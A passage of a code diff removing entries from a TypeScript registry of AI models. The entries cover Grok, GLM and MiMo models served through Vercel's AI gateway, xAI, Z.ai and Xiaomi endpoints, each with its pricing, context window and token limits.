131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "xai/grok-3-mini-fast": { - id: "xai/grok-3-mini-fast", - name: "Grok 3 Mini Fast Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text"], - cost: { - input: 0.6, - output: 4, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "xai/grok-4": { - id: "xai/grok-4", - name: "Grok 4", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4-fast-non-reasoning": { - id: "xai/grok-4-fast-non-reasoning", - name: "Grok 4 Fast Non-Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4-fast-reasoning": { - id: "xai/grok-4-fast-reasoning", - name: "Grok 4 Fast Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.1-fast-non-reasoning": { - id: "xai/grok-4.1-fast-non-reasoning", - name: "Grok 4.1 Fast Non-Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.1-fast-reasoning": { - id: "xai/grok-4.1-fast-reasoning", - name: "Grok 4.1 Fast Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.19999999999999998, - output: 0.5, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-multi-agent": { - id: "xai/grok-4.20-multi-agent", - name: "Grok 4.20 Multi-Agent", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-multi-agent-beta": { - id: "xai/grok-4.20-multi-agent-beta", - name: "Grok 4.20 Multi Agent Beta", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-non-reasoning": { - id: "xai/grok-4.20-non-reasoning", - name: "Grok 4.20 Non-Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-non-reasoning-beta": { - id: "xai/grok-4.20-non-reasoning-beta", - name: "Grok 4.20 Beta Non-Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-reasoning": { - id: "xai/grok-4.20-reasoning", - name: "Grok 4.20 Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-4.20-reasoning-beta": { - id: "xai/grok-4.20-reasoning-beta", - name: "Grok 4.20 Beta Reasoning", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 2000000, - } satisfies Model<"anthropic-messages">, - "xai/grok-code-fast-1": { - id: "xai/grok-code-fast-1", - name: "Grok Code Fast 1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 1.5, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 256000, - } satisfies Model<"anthropic-messages">, - "xiaomi/mimo-v2-flash": { - id: "xiaomi/mimo-v2-flash", - name: "MiMo V2 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.09, - output: 0.29, - cacheRead: 0.045, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "xiaomi/mimo-v2-pro": { - id: "xiaomi/mimo-v2-pro", - name: "MiMo V2 Pro", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.5": { - id: "zai/glm-4.5", - name: "GLM-4.5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 96000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.5-air": { - id: "zai/glm-4.5-air", - name: "GLM 4.5 Air", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 1.1, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 96000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.5v": { - id: "zai/glm-4.5v", - name: "GLM 4.5V", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.6, - output: 1.7999999999999998, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 66000, - maxTokens: 16000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.6": { - id: "zai/glm-4.6", - name: "GLM 4.6", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 96000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.6v": { - id: "zai/glm-4.6v", - name: "GLM-4.6V", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 0.8999999999999999, - cacheRead: 0.049999999999999996, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 24000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.6v-flash": { - id: "zai/glm-4.6v-flash", - name: "GLM-4.6V-Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 24000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.7": { - id: "zai/glm-4.7", - name: "GLM 4.7", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 2.25, - output: 2.75, - cacheRead: 2.25, - cacheWrite: 0, - }, - contextWindow: 131000, - maxTokens: 40000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.7-flash": { - id: "zai/glm-4.7-flash", - name: "GLM 4.7 Flash", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.07, - output: 0.39999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131000, - } satisfies Model<"anthropic-messages">, - "zai/glm-4.7-flashx": { - id: "zai/glm-4.7-flashx", - name: "GLM 4.7 FlashX", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 0.06, - output: 0.39999999999999997, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "zai/glm-5": { - id: "zai/glm-5", - name: "GLM 5", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.1999999999999997, - cacheRead: 0.19999999999999998, - cacheWrite: 0, - }, - contextWindow: 202800, - maxTokens: 131100, - } satisfies Model<"anthropic-messages">, - "zai/glm-5-turbo": { - id: "zai/glm-5-turbo", - name: "GLM 5 Turbo", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 202800, - maxTokens: 131100, - } satisfies Model<"anthropic-messages">, - "zai/glm-5.1": { - id: "zai/glm-5.1", - name: "GLM 5.1", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.4, - output: 4.4, - cacheRead: 0.26, - cacheWrite: 0, - }, - contextWindow: 202752, - maxTokens: 202752, - } satisfies Model<"anthropic-messages">, - "zai/glm-5v-turbo": { - id: "zai/glm-5v-turbo", - name: "GLM 5V Turbo", - api: "anthropic-messages", - provider: "vercel-ai-gateway", - baseUrl: "https://ai-gateway.vercel.sh", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - }, - xai: { - "grok-2": { - id: "grok-2", - name: "Grok 2", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-2-1212": { - id: "grok-2-1212", - name: "Grok 2 (1212)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-2-latest": { - id: "grok-2-latest", - name: "Grok 2 Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-2-vision": { - id: "grok-2-vision", - name: "Grok 2 Vision", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "grok-2-vision-1212": { - id: "grok-2-vision-1212", - name: "Grok 2 Vision (1212)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "grok-2-vision-latest": { - id: "grok-2-vision-latest", - name: "Grok 2 Vision Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 10, - cacheRead: 2, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "grok-3": { - id: "grok-3", - name: "Grok 3", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-fast": { - id: "grok-3-fast", - name: "Grok 3 Fast", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 5, - output: 25, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-fast-latest": { - id: "grok-3-fast-latest", - name: "Grok 3 Fast Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 5, - output: 25, - cacheRead: 1.25, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-latest": { - id: "grok-3-latest", - name: "Grok 3 Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-mini": { - id: "grok-3-mini", - name: "Grok 3 Mini", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 0.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-mini-fast": { - id: "grok-3-mini-fast", - name: "Grok 3 Mini Fast", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 4, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-mini-fast-latest": { - id: "grok-3-mini-fast-latest", - name: "Grok 3 Mini Fast Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 4, - cacheRead: 0.15, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-3-mini-latest": { - id: "grok-3-mini-latest", - name: "Grok 3 Mini Latest", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 0.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 8192, - } satisfies Model<"openai-completions">, - "grok-4": { - id: "grok-4", - name: "Grok 4", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 3, - output: 15, - cacheRead: 0.75, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "grok-4-1-fast": { - id: "grok-4-1-fast", - name: "Grok 4.1 Fast", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.5, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-4-1-fast-non-reasoning": { - id: "grok-4-1-fast-non-reasoning", - name: "Grok 4.1 Fast (Non-Reasoning)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.5, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-4-fast": { - id: "grok-4-fast", - name: "Grok 4 Fast", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.5, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-4-fast-non-reasoning": { - id: "grok-4-fast-non-reasoning", - name: "Grok 4 Fast (Non-Reasoning)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.2, - output: 0.5, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-4.20-0309-non-reasoning": { - id: "grok-4.20-0309-non-reasoning", - name: "Grok 4.20 (Non-Reasoning)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-4.20-0309-reasoning": { - id: "grok-4.20-0309-reasoning", - name: "Grok 4.20 (Reasoning)", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 6, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 2000000, - maxTokens: 30000, - } satisfies Model<"openai-completions">, - "grok-beta": { - id: "grok-beta", - name: "Grok Beta", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text"], - cost: { - input: 5, - output: 15, - cacheRead: 5, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "grok-code-fast-1": { - id: "grok-code-fast-1", - name: "Grok Code Fast 1", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.2, - output: 1.5, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 10000, - } satisfies Model<"openai-completions">, - "grok-vision-beta": { - id: "grok-vision-beta", - name: "Grok Vision Beta", - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 5, - output: 15, - cacheRead: 5, - cacheWrite: 0, - }, - contextWindow: 8192, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - }, - zai: { - "glm-4.5": { - id: "glm-4.5", - name: "GLM-4.5", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 98304, - } satisfies Model<"openai-completions">, - "glm-4.5-air": { - id: "glm-4.5-air", - name: "GLM-4.5-Air", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0.2, - output: 1.1, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 98304, - } satisfies Model<"openai-completions">, - "glm-4.5-flash": { - id: "glm-4.5-flash", - name: "GLM-4.5-Flash", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 98304, - } satisfies Model<"openai-completions">, - "glm-4.5v": { - id: "glm-4.5v", - name: "GLM-4.5V", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 1.8, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 64000, - maxTokens: 16384, - } satisfies Model<"openai-completions">, - "glm-4.6": { - id: "glm-4.6", - name: "GLM-4.6", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-4.6v": { - id: "glm-4.6v", - name: "GLM-4.6V", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 0.9, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 32768, - } satisfies Model<"openai-completions">, - "glm-4.7": { - id: "glm-4.7", - name: "GLM-4.7", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0.6, - output: 2.2, - cacheRead: 0.11, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-4.7-flash": { - id: "glm-4.7-flash", - name: "GLM-4.7-Flash", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-4.7-flashx": { - id: "glm-4.7-flashx", - name: "GLM-4.7-FlashX", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 0.07, - output: 0.4, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5": { - id: "glm-5", - name: "GLM-5", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5-turbo": { - id: "glm-5-turbo", - name: "GLM-5-Turbo", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5.1": { - id: "glm-5.1", - name: "GLM-5.1", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text"], - cost: { - input: 1.4, - output: 4.4, - cacheRead: 0.26, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5v-turbo": { - id: "glm-5v-turbo", - name: "glm-5v-turbo", - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - compat: { supportsDeveloperRole: false, thinkingFormat: "zai" }, - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.2, - output: 4, - cacheRead: 0.24, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - }, - // ────────────────────────────────────────────────────────────────────────── - // Xiaomi MiMo direct token-plan providers (Anthropic Messages API). - // Additive to the existing OpenRouter-routed xiaomi entries above; users - // with a XIAOMI_API_KEY can hit these endpoints directly. - // - "xiaomi" → default region (Amsterdam) - // - "xiaomi-token-plan-ams" → Amsterdam (Europe) - // - "xiaomi-token-plan-sgp" → Singapore - // - "xiaomi-token-plan-cn" → China - // ────────────────────────────────────────────────────────────────────────── - xiaomi: { - "mimo-v2-flash": { - id: "mimo-v2-flash", - name: "MiMo-V2-Flash", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo-V2-Omni", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo-V2-Pro", - api: "anthropic-messages", - provider: "xiaomi", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - }, - "xiaomi-token-plan-ams": { - "mimo-v2-flash": { - id: "mimo-v2-flash", - name: "MiMo-V2-Flash", - api: "anthropic-messages", - provider: "xiaomi-token-plan-ams", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo-V2-Omni", - api: "anthropic-messages", - provider: "xiaomi-token-plan-ams", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo-V2-Pro", - api: "anthropic-messages", - provider: "xiaomi-token-plan-ams", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - }, - "xiaomi-token-plan-sgp": { - "mimo-v2-flash": { - id: "mimo-v2-flash", - name: "MiMo-V2-Flash", - api: "anthropic-messages", - provider: "xiaomi-token-plan-sgp", - baseUrl: "https://token-plan-sgp.xiaomimimo.com/anthropic", - reasoning: true, - input: ["text"], - cost: { - input: 0.1, - output: 0.3, - cacheRead: 0.01, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo-V2-Omni", - api: "anthropic-messages", - provider: "xiaomi-token-plan-sgp", - baseUrl: "https://token-plan-sgp.xiaomimimo.com/anthropic", - reasoning: 